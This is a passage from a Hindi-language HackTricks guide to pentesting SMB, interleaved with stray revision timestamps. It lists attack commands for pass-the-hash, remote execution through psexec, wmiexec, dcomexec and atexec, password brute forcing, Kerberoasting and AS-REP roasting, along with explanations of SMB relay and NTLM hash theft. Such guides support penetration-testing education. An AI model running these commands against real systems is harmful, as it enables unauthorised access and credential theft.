crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -p 'password' --rid-brute #RID brute
2023-01-04 19:28:50 +00:00
2023-12-26 22:32:23 +00:00
crackmapexec smb < IP > -d < DOMAIN > -u Administrator -H < HASH > #Pass -The-Hash
2023-11-06 08:38:02 +00:00
```
2022-10-04 23:18:19 +00:00
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
दोनों विकल्प पीड़ित मशीन में एक नई सेवा बनाएंगे (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करके) और इसका उपयोग कुछ **निष्पादित करने** के लिए करेंगे (**psexec** एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर पर **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फ़ाइल-रहित तकनीक**--).\
2023-12-26 22:32:23 +00:00
**अधिक जानकारी** के लिए [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md ) और [**smbexec** ](../windows-hardening/ntlm/smbexec.md ).\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:32:23 +00:00
#If no password is provided, it will be prompted
2020-07-15 15:43:14 +00:00
./psexec.py [[domain/]username[:password]@]< targetName or address >
2023-12-26 22:32:23 +00:00
./psexec.py -hashes < LM:NT > administrator@10.10.10.103 #Pass -the-Hash
2020-07-15 15:43:14 +00:00
psexec \\192.168.122.66 -u Administrator -p 123456Ww
2023-12-26 22:32:23 +00:00
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:32:23 +00:00
**पैरामीटर**`-k` का उपयोग करके आप **NTLM** के बजाय **kerberos** के खिलाफ प्रमाणित कर सकते हैं
2020-07-15 15:43:14 +00:00
2022-10-04 23:18:19 +00:00
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
**पोर्ट 135** के माध्यम से DCOM का उपयोग करके बिना डिस्क को छूए या नई सेवा चलाए चुपचाप एक कमांड शेल को निष्पादित करें।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:32:23 +00:00
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]< targetName or address > #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass -the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
2020-07-15 15:43:14 +00:00
```
2023-12-26 22:32:23 +00:00
**पैरामीटर**`-k` का उपयोग करके आप **NTLM** के बजाय **kerberos** के खिलाफ प्रमाणित कर सकते हैं
2020-07-15 15:43:14 +00:00
```bash
2023-12-26 22:32:23 +00:00
#If no password is provided, it will be prompted
2020-07-15 15:43:14 +00:00
./dcomexec.py [[domain/]username[:password]@]< targetName or address >
2023-12-26 22:32:23 +00:00
./dcomexec.py -hashes < LM:NT > administrator@10.10.10.103 #Pass -the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
2020-07-15 15:43:14 +00:00
```
2022-10-04 23:18:19 +00:00
### [AtExec](../windows-hardening/ntlm/atexec.md)
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
Task Scheduler के माध्यम से आदेशों को निष्पादित करें (SMB के द्वारा _\pipe\atsvc_ का उपयोग करके).\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है
2020-07-15 15:43:14 +00:00
```bash
./atexec.py [[domain/]username[:password]@]< targetName or address > "command"
./atexec.py -hashes < LM:NT > administrator@10.10.10.175 "whoami"
```
2023-12-26 22:32:23 +00:00
## Impacket संदर्भ
2020-07-15 15:43:14 +00:00
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/ ](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/ )
2023-12-26 22:32:23 +00:00
## **उपयोगकर्ता क्रेडेंशियल्स की Bruteforce**
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों को पार करते हैं तो आप एक खाते को ब्लॉक कर सकते हैं**
2020-07-15 15:43:14 +00:00
```bash
nmap --script smb-brute -p 445 < IP >
2023-12-26 22:32:23 +00:00
ridenum.py < IP > 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
2023-11-06 08:38:02 +00:00
```
2023-12-26 22:32:23 +00:00
## SMB रिले अटैक
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
यह अटैक Responder टूलकिट का उपयोग करके आंतरिक नेटवर्क पर **SMB प्रमाणीकरण सत्रों को कैप्चर** करता है, और उन्हें एक **लक्ष्य मशीन** पर **रिले** करता है। यदि प्रमाणीकरण **सत्र सफल होता है** , तो यह स्वचालित रूप से आपको एक **सिस्टम** **शेल** में ले जाएगा।\
2023-12-26 22:32:23 +00:00
[**इस अटैक के बारे में अधिक जानकारी यहाँ।** ](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## SMB-Trap
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
Windows लाइब्रेरी URLMon.dll स्वचालित रूप से होस्ट के प्रति प्रमाणीकरण का प्रयास करती है जब कोई पेज SMB के माध्यम से कुछ सामग्री तक पहुँचने का प्रयास करता है, उदाहरण के लिए: `img src="\\10.10.10.10\path\image.jpg"`
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
यह निम्नलिखित फंक्शन्स के साथ होता है:
2020-07-15 15:43:14 +00:00
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
2023-12-26 22:32:23 +00:00
जिनका उपयोग कुछ ब्राउज़रों और टूल्स (जैसे Skype) द्वारा किया जाता है
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
![से: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html ](<../.gitbook/assets/image (93 ).png>)
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
### SMBTrap का उपयोग करते हुए MitMf
2020-07-15 15:43:14 +00:00
2024-01-03 02:57:05 +00:00
![से: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html ](<../.gitbook/assets/image (94 ).png>)
2020-07-15 15:43:14 +00:00
2023-12-26 22:32:23 +00:00
## NTLM चोरी
2022-09-15 17:28:33 +00:00
2023-12-26 22:32:23 +00:00
SMB Trapping के समान, लक्ष्य प्रणाली पर दुर्भावनापूर्ण फाइलों को रोपण करना (SMB के माध्यम से, उदाहरण के लिए) एक SMB प्रमाणीकरण प्रयास को उत्प्रेरित कर सकता है, जिससे NetNTLMv2 हैश को Responder जैसे टूल के साथ इंटरसेप्ट किया जा सकता है। फिर हैश को ऑफलाइन क्रैक किया जा सकता है या [SMB रिले अटैक ](pentesting-smb.md#smb-relay-attack ) में उपयोग किया जा सकता है।
2022-09-15 17:28:33 +00:00
2023-12-26 22:32:23 +00:00
[देखें: ntlm\_theft ](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft )
2021-08-12 13:30:40 +00:00
2023-12-26 22:32:23 +00:00
## HackTricks स्वचालित आदेश
2021-10-18 11:21:18 +00:00
```
2021-08-12 13:30:40 +00:00
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
2021-08-15 18:12:30 +00:00
Entry_1:
2023-12-26 22:32:23 +00:00
Name: Notes
Description: Notes for SMB
2023-11-06 08:38:02 +00:00
Note: |
2023-12-26 22:32:23 +00:00
While Port 139 is known technically as ‘ NBT over IP’ , Port 445 is ‘ SMB over IP’ . SMB stands for ‘ Server Message Blocks’ . Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
2023-11-06 08:38:02 +00:00
2023-12-26 22:32:23 +00:00
#These are the commands I run in order every time I see an open SMB port
2023-11-06 08:38:02 +00:00
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
2021-08-15 18:12:30 +00:00
Entry_2:
2023-11-06 08:38:02 +00:00
Name: Enum4Linux
2023-12-26 22:32:23 +00:00
Description: General SMB Scan
2023-11-06 08:38:02 +00:00
Command: enum4linux -a {IP}
2021-08-15 18:12:30 +00:00
Entry_3:
2023-12-26 22:32:23 +00:00
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
2023-11-06 08:38:02 +00:00
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
2021-08-15 18:12:30 +00:00
Entry_4:
2023-12-26 22:32:23 +00:00
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
2023-11-06 08:38:02 +00:00
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
2021-09-25 16:33:43 +00:00
2021-09-13 15:41:00 +00:00
Entry_5:
2023-12-26 22:32:23 +00:00
Name: Hydra Brute Force
Description: Need User
2023-11-06 08:38:02 +00:00
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
2021-10-27 17:21:12 +00:00
Entry_6:
2023-12-26 22:32:23 +00:00
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
2023-11-06 08:38:02 +00:00
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
2022-04-28 16:01:33 +00:00
2023-12-26 22:32:23 +00:00
```
2022-04-28 16:01:33 +00:00
< details >
2024-01-03 02:57:05 +00:00
< summary > < strong > AWS हैकिंग सीखें शून्य से लेकर हीरो तक< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > के साथ!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-03 02:57:05 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स** ](https://github.com/sponsors/carlospolop ) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें** ](https://peass.creator-spring.com )
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ) की खोज करें, हमारा एक्सक्लूसिव [**NFTs** ](https://opensea.io/collection/the-peass-family ) का संग्रह
* 💬 [**Discord समूह में शामिल हों** ](https://discord.gg/hRep4RUj7f ) या [**telegram समूह** ](https://t.me/peass ) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
* **अपनी हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) और [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos में.
2022-04-28 16:01:33 +00:00
< / details >